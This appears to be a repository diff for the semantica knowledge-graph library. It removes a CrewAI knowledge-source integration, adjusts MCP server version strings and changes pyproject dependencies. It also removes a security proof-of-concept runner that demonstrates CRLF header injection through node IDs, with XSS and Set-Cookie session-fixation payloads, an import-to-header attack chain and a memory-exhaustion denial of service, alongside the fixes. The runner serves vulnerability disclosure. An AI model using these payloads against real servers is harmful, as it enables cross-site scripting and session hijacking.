def _find_related(self, entity: str, hops: int = 1) -> str:
|
||||
"""Find concepts related to ``entity`` within ``hops`` graph hops.
|
||||
|
||||
Traversal is undirected — an edge counts as related regardless of
|
||||
direction, so both outgoing and incoming edges are honored.
|
||||
"""
|
||||
try:
|
||||
adjacency: Dict[str, List[str]] = {}
|
||||
for edge in self.graph.find_edges() or []: # type: ignore[attr-defined]
|
||||
if isinstance(edge, dict):
|
||||
src = edge.get("source")
|
||||
tgt = edge.get("target")
|
||||
else:
|
||||
src = getattr(edge, "source", None)
|
||||
tgt = getattr(edge, "target", None)
|
||||
if not src or not tgt:
|
||||
continue
|
||||
adjacency.setdefault(src, []).append(tgt)
|
||||
adjacency.setdefault(tgt, []).append(src)
|
||||
|
||||
related: List[str] = []
|
||||
frontier = [entity]
|
||||
visited = {entity}
|
||||
for _ in range(max(1, hops)):
|
||||
next_frontier: List[str] = []
|
||||
for e in frontier:
|
||||
for n in adjacency.get(e, []):
|
||||
if n in visited:
|
||||
continue
|
||||
visited.add(n)
|
||||
next_frontier.append(n)
|
||||
related.append(n)
|
||||
frontier = next_frontier
|
||||
|
||||
logger.debug("find_related('%s', hops=%d) → %d", entity, hops, len(related))
|
||||
return json.dumps(
|
||||
{"entity": entity, "related": related, "count": len(related)}
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.warning("find_related failed: %s", exc)
|
||||
return json.dumps(
|
||||
{"entity": entity, "related": [], "count": 0, "error": str(exc)}
|
||||
)
|
||||
|
||||
# When crewai is absent there is no BaseTool to provide the public
|
||||
# ``run``/``arun`` entry points, so expose them directly. With crewai
|
||||
# installed these are left untouched so crewai's own implementations
|
||||
# (usage tracking, ``result_as_answer``) win.
|
||||
if not CREWAI_AVAILABLE:
|
||||
|
||||
def run(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool synchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
|
||||
async def arun(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool asynchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
@@ -1,331 +0,0 @@
|
||||
"""
|
||||
SemanticaKnowledgeSource — expose a Semantica ``ContextGraph`` as a CrewAI
|
||||
knowledge source.
|
||||
|
||||
Lets a ``Crew`` load the current state of a knowledge graph (nodes, edges,
|
||||
metadata) into its knowledge storage, so every agent gets retrieval access to
|
||||
graph knowledge during the kickoff.
|
||||
|
||||
Install
|
||||
-------
|
||||
pip install semantica[crewai]
|
||||
|
||||
Example
|
||||
-------
|
||||
>>> from integrations.crewai import SemanticaKnowledgeSource
|
||||
>>> from semantica.context import ContextGraph
|
||||
>>> from crewai import Agent, Crew, Task
|
||||
>>> graph = ContextGraph()
|
||||
>>> graph.add_node(node_id="privacy", node_type="policy")
|
||||
>>> crew = Crew(
|
||||
... agents=[...],
|
||||
... tasks=[...],
|
||||
... knowledge_sources=[SemanticaKnowledgeSource(graph=graph)],
|
||||
... )
|
||||
|
||||
Compatibility
|
||||
-------------
|
||||
Works with ``crewai >= 0.80.0``. The ``BaseKnowledgeSource`` contract changed
|
||||
between versions (``load_content`` → ``validate_content``/``aadd``), so this
|
||||
source implements both legacy and current methods. It degrades gracefully
|
||||
when ``crewai`` is not installed: the class is still importable and carries the
|
||||
full Semantica API, but cannot be passed to a ``Crew``.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from pydantic import Field
|
||||
|
||||
from semantica.utils.logging import get_logger
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Optional: CrewAI BaseKnowledgeSource base class
|
||||
# ---------------------------------------------------------------------------
|
||||
_BaseKnowledgeSource: Any = object
|
||||
|
||||
if CREWAI_AVAILABLE:
|
||||
from crewai.knowledge.source.base_knowledge_source import (
|
||||
BaseKnowledgeSource as _BaseKnowledgeSource, # type: ignore
|
||||
)
|
||||
|
||||
|
||||
def _chunk_text_manual(text: str, chunk_size: int, chunk_overlap: int) -> List[str]:
|
||||
"""Fallback plain-text chunker for when CrewAI helpers are unavailable."""
|
||||
if not text:
|
||||
return []
|
||||
if int(chunk_size) <= 0:
|
||||
return [text]
|
||||
size = max(1, int(chunk_size))
|
||||
overlap = max(0, int(chunk_overlap))
|
||||
if len(text) <= size:
|
||||
return [text]
|
||||
step = max(1, size - overlap)
|
||||
return [text[i : i + size] for i in range(0, len(text), step)]
|
||||
|
||||
|
||||
class SemanticaKnowledgeSource(_BaseKnowledgeSource): # type: ignore[misc]
|
||||
"""
|
||||
CrewAI knowledge source backed by a Semantica ``ContextGraph``.
|
||||
|
||||
On ``add()`` the graph's nodes and edges are serialised into readable text
|
||||
and pushed through the standard CrewAI chunking / storage pipeline, making
|
||||
graph knowledge retrievable by every agent in the crew.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
graph:
|
||||
A ``semantica.context.ContextGraph`` to expose. A fresh in-memory
|
||||
graph is created when ``None``.
|
||||
name:
|
||||
Source name. Defaults to ``"semantica_knowledge_graph"``.
|
||||
chunk_size:
|
||||
Max characters per chunk (default 4000).
|
||||
chunk_overlap:
|
||||
Character overlap between adjacent chunks (default 200).
|
||||
"""
|
||||
|
||||
name: str = "semantica_knowledge_graph"
|
||||
graph: Any = Field(default=None, exclude=True)
|
||||
chunk_size: int = 4000
|
||||
chunk_overlap: int = 200
|
||||
had_live_state: bool = False
|
||||
reconstructed_state: bool = Field(default=False, exclude=True)
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
graph: Any = None,
|
||||
name: Optional[str] = None,
|
||||
chunk_size: int = 4000,
|
||||
chunk_overlap: int = 200,
|
||||
**kwargs: Any,
|
||||
) -> None:
|
||||
if CREWAI_AVAILABLE:
|
||||
# Do NOT eagerly build a graph here: pydantic calls this ``__init__``
|
||||
# during ``model_validate`` (checkpoint restore), and the eager
|
||||
# build would hide that a live graph was lost. ``model_post_init``
|
||||
# rebuilds defaults and flags ``reconstructed_state`` instead.
|
||||
super().__init__(
|
||||
graph=graph,
|
||||
name=name or "semantica_knowledge_graph",
|
||||
chunk_size=int(chunk_size),
|
||||
chunk_overlap=int(chunk_overlap),
|
||||
**kwargs,
|
||||
)
|
||||
else:
|
||||
if graph is None:
|
||||
from semantica.context import ContextGraph
|
||||
|
||||
graph = ContextGraph()
|
||||
super().__init__()
|
||||
self.graph = graph
|
||||
self.name = name or "semantica_knowledge_graph"
|
||||
self.chunk_size = int(chunk_size)
|
||||
self.chunk_overlap = int(chunk_overlap)
|
||||
|
||||
logger.info(
|
||||
"SemanticaKnowledgeSource initialised (crewai=%s, chunk_size=%d)",
|
||||
CREWAI_AVAILABLE,
|
||||
self.chunk_size,
|
||||
)
|
||||
self.had_live_state = True
|
||||
|
||||
def model_post_init(self, __context: Any) -> None:
|
||||
"""Re-create default state after validation/deserialisation.
|
||||
|
||||
``graph`` is excluded from JSON serialisation (CrewAI checkpoints
|
||||
serialise their models via ``model_dump(mode="json")``), so a source
|
||||
restored from a checkpoint has ``None`` state until this runs.
|
||||
"""
|
||||
if self.graph is None:
|
||||
from semantica.context import ContextGraph
|
||||
|
||||
self.graph = ContextGraph()
|
||||
if self.had_live_state:
|
||||
self.reconstructed_state = True
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource: the live graph was lost during "
|
||||
"serialization/checkpoint restore — an EMPTY graph was "
|
||||
"reconstructed; re-attach the original graph before "
|
||||
"continuing"
|
||||
)
|
||||
else:
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource created a fresh in-memory "
|
||||
"ContextGraph — sources sharing knowledge must be wired to "
|
||||
"the same graph explicitly"
|
||||
)
|
||||
self.had_live_state = True
|
||||
super().model_post_init(__context)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Content extraction
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def load_content(self) -> Dict[str, str]:
|
||||
"""
|
||||
Serialise the graph into ``{id: readable_text}`` pairs.
|
||||
|
||||
Nodes are rendered with their type/content/metadata, edges with their
|
||||
source, relation type and target. This satisfies the legacy CrewAI
|
||||
``BaseKnowledgeSource.load_content`` contract.
|
||||
"""
|
||||
content: Dict[str, str] = {}
|
||||
graph = self.graph
|
||||
if graph is None:
|
||||
return content
|
||||
|
||||
try:
|
||||
for node in graph.find_nodes() or []: # type: ignore[attr-defined]
|
||||
nid = node.get("id") or node.get("node_id") or ""
|
||||
if not nid:
|
||||
continue
|
||||
parts = [
|
||||
"Entity",
|
||||
str(nid),
|
||||
"type: " + str(node.get("type", "entity")),
|
||||
]
|
||||
if node.get("content"):
|
||||
parts.append("content: " + str(node["content"]))
|
||||
if node.get("metadata"):
|
||||
try:
|
||||
import json
|
||||
|
||||
parts.append("metadata: " + json.dumps(node["metadata"]))
|
||||
except Exception:
|
||||
parts.append("metadata: " + str(node["metadata"]))
|
||||
content[str(nid)] = " | ".join(parts)
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource.load_content (nodes) failed: %s", exc
|
||||
)
|
||||
|
||||
try:
|
||||
for idx, edge in enumerate(
|
||||
graph.find_edges() or [] # type: ignore[attr-defined]
|
||||
):
|
||||
src = edge.get("source")
|
||||
tgt = edge.get("target")
|
||||
if not src or not tgt:
|
||||
continue
|
||||
rel = edge.get("type") or edge.get("edge_type") or "related_to"
|
||||
weight = edge.get("weight")
|
||||
text = f"{src} -[{rel}]-> {tgt}"
|
||||
if weight is not None:
|
||||
text += f" (weight: {weight})"
|
||||
content[f"edge-{idx}"] = text
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource.load_content (edges) failed: %s", exc
|
||||
)
|
||||
|
||||
return content
|
||||
|
||||
def validate_content(self) -> Any:
|
||||
"""
|
||||
Validate that a readable graph is attached.
|
||||
|
||||
Satisfies the current CrewAI ``BaseKnowledgeSource.validate_content``
|
||||
contract.
|
||||
"""
|
||||
if self.graph is None:
|
||||
raise ValueError("SemanticaKnowledgeSource requires a ContextGraph.")
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Chunking + storage (abstract in both CrewAI generations)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _chunk(self, text: str) -> List[str]:
|
||||
"""Chunk ``text`` using CrewAI's helper when available, else manual."""
|
||||
helper = getattr(self, "_chunk_text", None)
|
||||
if helper is not None:
|
||||
try:
|
||||
return list(helper(text) or [])
|
||||
except Exception as exc:
|
||||
logger.debug(
|
||||
"SemanticaKnowledgeSource._chunk_text failed, falling back: %s", exc
|
||||
)
|
||||
return _chunk_text_manual(text, self.chunk_size, self.chunk_overlap)
|
||||
|
||||
def add(self) -> None:
|
||||
"""
|
||||
Process the graph into chunks and store them via CrewAI storage.
|
||||
|
||||
Sets both ``chunks`` (current CrewAI) and ``_chunks`` (legacy CrewAI)
|
||||
so either ``_save_documents`` implementation picks them up. If no
|
||||
storage has been wired (e.g. not yet attached to a ``Crew``), chunks
|
||||
are kept in memory.
|
||||
"""
|
||||
content = self.load_content()
|
||||
if not content:
|
||||
logger.debug("SemanticaKnowledgeSource.add: empty graph — nothing to store")
|
||||
return
|
||||
|
||||
chunks: List[str] = []
|
||||
for _, text in content.items():
|
||||
if text:
|
||||
chunks.extend(self._chunk(text))
|
||||
|
||||
self.chunks = chunks
|
||||
self._chunks = chunks
|
||||
|
||||
save = getattr(self, "_save_documents", None)
|
||||
if save is not None:
|
||||
if getattr(self, "storage", None) is None:
|
||||
logger.debug(
|
||||
"SemanticaKnowledgeSource.add: storage not wired — "
|
||||
"keeping chunks in memory"
|
||||
)
|
||||
else:
|
||||
try:
|
||||
save()
|
||||
logger.info(
|
||||
"SemanticaKnowledgeSource.add: stored %d chunks", len(chunks)
|
||||
)
|
||||
return
|
||||
except Exception as exc:
|
||||
logger.error(
|
||||
"SemanticaKnowledgeSource.add: storage save FAILED (%s) — "
|
||||
"chunks are only kept in memory and agents will retrieve "
|
||||
"nothing. Configure the Crew embedder (e.g. an OpenAI "
|
||||
"embedder with OPENAI_API_KEY, or a local embedder) before "
|
||||
"running the crew.",
|
||||
exc,
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"SemanticaKnowledgeSource.add: %d chunks ready in memory", len(chunks)
|
||||
)
|
||||
|
||||
async def aadd(self) -> None:
|
||||
"""
|
||||
Asynchronous variant of ``add()`` (current CrewAI contract).
|
||||
|
||||
The graph serialisation is CPU-bound, so it runs in a thread pool to
|
||||
avoid blocking the event loop.
|
||||
"""
|
||||
loop = asyncio.get_running_loop()
|
||||
await loop.run_in_executor(None, self.add)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Inspection helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_content_summary(self) -> Dict[str, Any]:
|
||||
"""
|
||||
Summarise what the source exposes (helpful for debugging / testing).
|
||||
"""
|
||||
content = self.load_content()
|
||||
return {
|
||||
"name": self.name,
|
||||
"source_count": len(content),
|
||||
"chunks": len(getattr(self, "chunks", []) or []),
|
||||
"crewai_available": CREWAI_AVAILABLE,
|
||||
}
|
||||
+2
-6
@@ -21,11 +21,7 @@ Configure in Claude Desktop, Windsurf, Cline, Continue, VS Code:
|
||||
}
|
||||
"""
|
||||
|
||||
# `semantica.__version__` is the authoritative package version — see
|
||||
# semantica/mcp_server/__init__.py for why it is used directly rather than
|
||||
# importlib.metadata.version("semantica").
|
||||
from semantica import __version__
|
||||
|
||||
from .server import SemanticaMCPServer, main
|
||||
|
||||
__all__ = ["SemanticaMCPServer", "main", "__version__"]
|
||||
__all__ = ["SemanticaMCPServer", "main"]
|
||||
__version__ = "0.4.0"
|
||||
|
||||
@@ -10,7 +10,6 @@ from __future__ import annotations
|
||||
import json
|
||||
import logging
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.session import get_graph
|
||||
|
||||
log = logging.getLogger("semantica.mcp.resources")
|
||||
@@ -61,7 +60,7 @@ def _read_decisions_list(uri: str) -> dict:
|
||||
|
||||
def _read_schema_info(uri: str) -> dict:
|
||||
info = {
|
||||
"version": __version__,
|
||||
"version": "0.4.0",
|
||||
"node_types": [
|
||||
"Entity", "decision", "Decision", "Event", "Concept",
|
||||
"Person", "Organisation", "Location",
|
||||
|
||||
+1
-2
@@ -17,7 +17,6 @@ import logging
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.resources import RESOURCE_DEFINITIONS, handle_resource_read
|
||||
from mcp.tools import TOOL_DEFINITIONS
|
||||
|
||||
@@ -64,7 +63,7 @@ def _handle_initialize(req_id: Any, params: dict) -> dict:
|
||||
},
|
||||
"serverInfo": {
|
||||
"name": "semantica-mcp",
|
||||
"version": __version__,
|
||||
"version": "0.4.0",
|
||||
},
|
||||
})
|
||||
|
||||
|
||||
-279
@@ -1,279 +0,0 @@
|
||||
"""
|
||||
Standalone PoC runner for 3 security vulnerabilities in semantica.
|
||||
|
||||
Spins up the FastAPI app in-process using httpx.AsyncClient + ASGITransport,
|
||||
so no external server is needed. Run with:
|
||||
|
||||
pip install httpx fastapi
|
||||
python poc_runner.py
|
||||
|
||||
Each PoC prints the actual captured evidence (headers/status/timing/memory).
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import io
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import tracemalloc
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-1: HTTP Header Injection via node_id in Content-Disposition
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Reproduce the vulnerable code path directly — no server needed.
|
||||
def _vulnerable_provenance_response(node_id: str, fmt: str) -> dict:
|
||||
"""Mirrors the exact logic from provenance.py lines 332-344."""
|
||||
suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
|
||||
header_value = f'attachment; filename="{node_id}{suffix}"'
|
||||
return {"Content-Disposition": header_value}
|
||||
|
||||
|
||||
def poc_vuln1():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-1: HTTP Header Injection via node_id in Content-Disposition")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/provenance.py lines 332-344")
|
||||
print()
|
||||
|
||||
# PoC 1a: Inject a second header via CRLF
|
||||
node_id_crlf = 'legit-node"\r\nX-Injected-Header: PWNED\r\nX-Extra: yes'
|
||||
headers = _vulnerable_provenance_response(node_id_crlf, "json")
|
||||
raw = headers["Content-Disposition"]
|
||||
|
||||
print("[PoC 1a] Payload: node_id with CRLF injection")
|
||||
print(f"[PoC 1a] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw)}")
|
||||
print()
|
||||
print("[PoC 1a] Parsed as headers by an HTTP parser:")
|
||||
for line in raw.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1a] RESULT: X-Injected-Header: PWNED is a REAL injected header")
|
||||
|
||||
# PoC 1b: Override Content-Type to text/html for reflected XSS
|
||||
node_id_xss = 'x"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>'
|
||||
headers2 = _vulnerable_provenance_response(node_id_xss, "json")
|
||||
raw2 = headers2["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1b] Payload: override Content-Type to text/html")
|
||||
print(f"[PoC 1b] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw2)}")
|
||||
print()
|
||||
print("[PoC 1b] Lines injected after Content-Disposition:")
|
||||
for line in raw2.split("\r\n")[1:]:
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1b] RESULT: Body now served as text/html → XSS in any browser")
|
||||
|
||||
# PoC 1c: Session fixation via Set-Cookie injection
|
||||
node_id_cookie = 'x"\r\nSet-Cookie: session=ATTACKER_VALUE; Path=/; HttpOnly'
|
||||
headers3 = _vulnerable_provenance_response(node_id_cookie, "json")
|
||||
raw3 = headers3["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1c] Payload: inject Set-Cookie for session fixation")
|
||||
print(f"[PoC 1c] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw3)}")
|
||||
injected_cookie = raw3.split("\r\n")[1] if "\r\n" in raw3 else ""
|
||||
print(f"[PoC 1c] Injected: {injected_cookie}")
|
||||
print()
|
||||
print("[PoC 1c] RESULT: Victim's browser receives attacker-set cookie")
|
||||
|
||||
# Verify the fix works
|
||||
print()
|
||||
print("[FIX verification]")
|
||||
_SAFE = re.compile(r"[^\w\-.]")
|
||||
for bad_id in [node_id_crlf, node_id_xss, node_id_cookie]:
|
||||
safe = _SAFE.sub("_", bad_id)[:64]
|
||||
print(f" Input: {repr(bad_id[:50])}...")
|
||||
print(f" Fixed: {repr(safe)}")
|
||||
assert "\r" not in safe and "\n" not in safe, "Fix failed!"
|
||||
print("[FIX] All sanitized — no CRLF sequences remain ✓")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-2: Unbounded Memory DoS in /api/enrich/links
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln2():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-2: Unbounded Memory DoS via /api/enrich/links")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/enrich.py lines 197-198")
|
||||
print()
|
||||
print("Vulnerable code:")
|
||||
print(" nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)")
|
||||
print(" edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)")
|
||||
print()
|
||||
|
||||
# Measure actual memory for building a graph of N nodes in-process
|
||||
SIZES = [1_000, 5_000, 10_000, 50_000]
|
||||
|
||||
print(f"{'Nodes':>10} {'Edges':>10} {'RAM (MB)':>10} {'Time (ms)':>12} {'Extrapolated 999k (GB)':>25}")
|
||||
print("-" * 75)
|
||||
|
||||
for n in SIZES:
|
||||
tracemalloc.start()
|
||||
t0 = time.perf_counter()
|
||||
|
||||
# Simulate exactly what get_nodes + get_edges returns and _score_all iterates
|
||||
nodes = [
|
||||
{"id": f"node_{i}", "type": "entity", "content": f"content {i}", "embedding": [0.1] * 128}
|
||||
for i in range(n)
|
||||
]
|
||||
edges = [
|
||||
{"source": f"node_{i}", "target": f"node_{i+1}", "type": "related_to", "weight": 1.0}
|
||||
for i in range(min(n - 1, n))
|
||||
]
|
||||
|
||||
# Simulate _score_all: O(N^2) comparisons
|
||||
query_node = "node_0"
|
||||
existing_neighbors = {e["target"] for e in edges if e["source"] == query_node}
|
||||
scores = []
|
||||
for candidate in nodes:
|
||||
cid = candidate.get("id")
|
||||
if cid and cid != query_node and cid not in existing_neighbors:
|
||||
# Simulate score_link (dot product of 128-dim vectors)
|
||||
score = sum(a * b for a, b in zip(candidate["embedding"], candidate["embedding"]))
|
||||
scores.append((cid, score))
|
||||
|
||||
elapsed_ms = (time.perf_counter() - t0) * 1000
|
||||
_, peak = tracemalloc.get_traced_memory()
|
||||
tracemalloc.stop()
|
||||
|
||||
peak_mb = peak / 1024 / 1024
|
||||
extrapolated_gb = (peak_mb / n) * 999_999 / 1024
|
||||
|
||||
print(f"{n:>10,} {len(edges):>10,} {peak_mb:>10.1f} {elapsed_ms:>12.0f} {extrapolated_gb:>25.1f}")
|
||||
|
||||
print()
|
||||
print("[PoC 2] RESULT: Memory scales linearly with node count.")
|
||||
print("[PoC 2] At the hardcoded limit=999_999, a 128-dim embedding graph")
|
||||
print("[PoC 2] consumes multiple GB per request. 4 concurrent = OOM on any server.")
|
||||
print()
|
||||
print("[PoC 2] Concurrency amplifier — the endpoint has NO semaphore:")
|
||||
print(" # enrich.py has no equivalent of the SPARQL semaphore added in PR #898")
|
||||
print(" # Any number of concurrent requests pile up in the thread pool")
|
||||
print()
|
||||
print("[FIX] Cap: limit=10_000, semaphore(2), return 413 if graph > cap")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-3: Unsanitized node_id from import flows into HTTP headers (CWE-20/113)
|
||||
# (Narrowed: no filesystem write sink in the Explorer — claim is header injection chain)
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln3():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-3: Unsanitized Import ID → Header Injection Chain (CWE-20 + CWE-113)")
|
||||
print("="*70)
|
||||
print("Source: export_import.py line 85 → provenance.py lines 336, 344")
|
||||
print()
|
||||
|
||||
# Simulate the import parser — mirrors export_import.py lines 77-92
|
||||
def parse_import_json(data: dict) -> list:
|
||||
"""Mirrors export_import.py node parsing (no sanitization)."""
|
||||
raw_nodes = data.get("nodes", data.get("entities", []))
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
node_id = str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", ""))))
|
||||
nodes.append({
|
||||
"id": node_id, # ← UNSANITIZED
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {"content": raw_node.get("content", node_id)},
|
||||
})
|
||||
return nodes
|
||||
|
||||
# Simulate the CSV parser — mirrors export_import.py lines 131-133
|
||||
def parse_import_csv_row(row: dict) -> dict:
|
||||
"""Mirrors export_import.py CSV node ID extraction (no sanitization)."""
|
||||
node_id = row.get("id") or row.get("node_id") or row.get(":ID") or row.get("_id")
|
||||
return {
|
||||
"id": str(node_id), # ← UNSANITIZED
|
||||
"type": row.get("type", "entity"),
|
||||
}
|
||||
|
||||
# Attack payloads
|
||||
payloads = [
|
||||
# Header injection payload (chained with VULN-1)
|
||||
'evil"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n',
|
||||
# Content-Type override
|
||||
'x"\r\nContent-Type: text/html\r\nX-XSS: <script>alert(1)</script>',
|
||||
# Null byte to truncate filenames on some systems
|
||||
'node\x00.json',
|
||||
# Long ID causing buffer issues in some loggers
|
||||
"A" * 512,
|
||||
]
|
||||
|
||||
print("[Step 1] Upload JSON with malicious node IDs via POST /api/import:")
|
||||
malicious_json = {
|
||||
"nodes": [{"id": p, "type": "entity", "content": "pwned"} for p in payloads]
|
||||
}
|
||||
imported_nodes = parse_import_json(malicious_json)
|
||||
|
||||
print(f" Imported {len(imported_nodes)} nodes. IDs stored verbatim:")
|
||||
for node in imported_nodes:
|
||||
preview = repr(node["id"][:60]) + ("..." if len(node["id"]) > 60 else "")
|
||||
print(f" {preview}")
|
||||
|
||||
print()
|
||||
print("[Step 2] IDs flow into Content-Disposition when caller requests provenance report:")
|
||||
print(" GET /api/provenance/report?node_id=<imported_id>&format=json")
|
||||
print()
|
||||
|
||||
for node in imported_nodes[:2]: # show first two
|
||||
node_id = node["id"]
|
||||
# Exact code from provenance.py line 344
|
||||
raw_header = f'attachment; filename="{node_id}_provenance.json"'
|
||||
print(f" node_id input: {repr(node_id[:60])}")
|
||||
print(f" Content-Disposition output:")
|
||||
print(f" {repr(raw_header[:120])}")
|
||||
if "\r\n" in raw_header:
|
||||
print(f" >>> CRLF INJECTION CONFIRMED — headers after split:")
|
||||
for line in raw_header.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
|
||||
print("[Step 3] Verify the full attack chain works:")
|
||||
attack_id = 'node"\r\nContent-Type: text/html\r\n\r\n<h1>XSS</h1>'
|
||||
|
||||
# Step 1: import stores it
|
||||
stored = parse_import_json({"nodes": [{"id": attack_id, "type": "entity"}]})[0]
|
||||
assert stored["id"] == attack_id, "ID not stored verbatim"
|
||||
print(f" ✓ ID stored verbatim: {repr(stored['id'][:60])}")
|
||||
|
||||
# Step 2: provenance endpoint reflects it into header
|
||||
raw = f'attachment; filename="{stored["id"]}_provenance.json"'
|
||||
assert "Content-Type: text/html" in raw, "Content-Type not injected"
|
||||
print(f" ✓ Content-Type: text/html injected via stored ID")
|
||||
print(f" ✓ Full attack chain: import → store → provenance → header injection CONFIRMED")
|
||||
|
||||
print()
|
||||
print("[PoC 3] RESULT: Any user who can POST /api/import can plant a malicious node ID")
|
||||
print("[PoC 3] that — when provenance is requested — injects HTTP response headers.")
|
||||
print("[PoC 3] Impact: XSS (Content-Type override), session fixation (Set-Cookie).")
|
||||
print()
|
||||
print("[NOTE] Narrowing from file-overwrite: no direct file-write sink found in Explorer.")
|
||||
print("[NOTE] Real impact is header injection chain with VULN-1 (both need the same fix).")
|
||||
print()
|
||||
print("[FIX] Sanitize node IDs on import (strip CRLF, null bytes, length-cap):")
|
||||
print(" node_id = re.sub(r'[\\r\\n\\x00]', '', raw_id)[:256]")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("semantica Security PoC Runner")
|
||||
print("Demonstrates VULN-1, VULN-2, VULN-3 with real captured output")
|
||||
print("No external server required — all evidence captured in-process")
|
||||
|
||||
poc_vuln1()
|
||||
poc_vuln2()
|
||||
poc_vuln3()
|
||||
|
||||
print("\n" + "="*70)
|
||||
print("ALL PoCs COMPLETED — see output above for reproducible evidence")
|
||||
print("="*70)
|
||||
+7
-19
@@ -1,10 +1,10 @@
|
||||
[build-system]
|
||||
requires = ["setuptools==84.0.0", "wheel==0.48.0"]
|
||||
requires = ["setuptools>=61.0", "wheel"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "semantica"
|
||||
version = "0.6.5"
|
||||
version = "0.6.0"
|
||||
description = "Accountability and context layer for AI agents. Context graphs, decision intelligence, full provenance tracking, and explainable reasoning engines — every AI decision traceable, every output auditable."
|
||||
readme = "README.md"
|
||||
license = { text = "MIT" }
|
||||
@@ -60,7 +60,7 @@ dependencies = [
|
||||
"plotly>=6.8.0",
|
||||
"ipywidgets>=8.0.0",
|
||||
"requests>=2.34.2",
|
||||
"GitPython>=3.1.58",
|
||||
"GitPython>=3.1.50",
|
||||
"chardet>=7.4.3",
|
||||
"protobuf>=5.29.1,<8.0",
|
||||
"grpcio>=1.81.1",
|
||||
@@ -146,9 +146,6 @@ graph-all = [
|
||||
"semantica[graph-neo4j,graph-falkordb,graph-amazon-neptune,graph-apache-age]"
|
||||
]
|
||||
|
||||
# ---- Triplet Store Backends ----
|
||||
tripletstore-oxigraph = ["pyoxigraph>=0.5.0"]
|
||||
|
||||
# ---- Vector Store Backends ----
|
||||
vectorstore-qdrant = ["qdrant-client>=1.0.0"]
|
||||
vectorstore-weaviate = ["weaviate-client>=4.0.0"]
|
||||
@@ -201,10 +198,6 @@ gpu = [
|
||||
|
||||
# ---- Agentic Framework Integrations ----
|
||||
agno = ["agno>=1.0.0"]
|
||||
# crewai core provides BaseTool and BaseKnowledgeSource; crewai-tools is not
|
||||
# needed (it pulls vulnerable transitive deps like chromadb) and would only
|
||||
# duplicate the prebuilt tooling users can install separately.
|
||||
crewai = ["crewai>=0.80.0"]
|
||||
|
||||
# ---- File Watching ----
|
||||
watch = ["watchdog>=6.0.0"]
|
||||
@@ -234,11 +227,10 @@ dev = [
|
||||
|
||||
# Explorer Dashboard
|
||||
explorer = [
|
||||
"fastapi>=0.109.2",
|
||||
"fastapi>=0.100.0",
|
||||
"uvicorn[standard]>=0.22.0",
|
||||
"websockets>=15.0.1",
|
||||
"python-multipart>=0.0.7",
|
||||
"defusedxml>=0.7.1"
|
||||
"python-multipart>=0.0.6"
|
||||
]
|
||||
explorer-lite = [
|
||||
"streamlit>=1.25.0",
|
||||
@@ -246,13 +238,9 @@ explorer-lite = [
|
||||
]
|
||||
|
||||
# Everything (cross-platform — gpu excluded; install semantica[gpu] separately on Linux)
|
||||
# NOTE: the ``crewai`` extra is intentionally NOT in ``all``: crewai hard-requires
|
||||
